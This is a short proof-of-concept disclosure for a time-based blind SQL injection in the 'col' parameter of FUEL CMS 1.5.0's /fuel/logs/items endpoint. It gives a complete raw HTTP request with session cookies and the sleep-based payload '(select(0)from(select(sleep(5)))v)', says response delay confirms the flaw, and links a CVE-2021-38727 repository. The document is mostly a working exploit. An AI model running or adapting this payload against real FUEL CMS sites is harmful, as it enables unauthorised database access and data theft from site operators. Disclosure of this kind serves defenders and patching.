FUEL CMS 1.5.0 allows SQL Injection via parameter 'col' in /fuel/index.php/fuel/logs/items

[Topsec-bunney]

GET /fuel/index.php/fuel/logs/items?search=Search&col=(select(0)from(select(sleep(5)))v)&fuel_inline=0&limit=50&offset=0&order=desc&search_term=&type=info&view_type=list HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:80/fuel/index.php/fuel
Cookie: ci_session=65vnmrapcn6if41tmikfkhatkhs6ei5t; fuel_dccdd4a05cd593ba3584dfaa321e5caf=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_dccdd4a05cd593ba3584dfaa321e5caf=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%257D; fuel_dccdd4a05cd593ba3584dfaa321e5caf=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_dccdd4a05cd593ba3584dfaa321e5caf=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%257D; fuel_bar=%257B%2522show_editable_areas%2522%253A%25221%2522%257D
Host: 127.0.0.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Content-Length: 1

payload :col=(select(0)from(select(sleep(5)))v)


You can see that when you modify the sleep value, the response has a significant delay.

[nu11secur1ty]

• plus something ;) https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38727
  BR @nu11secur1ty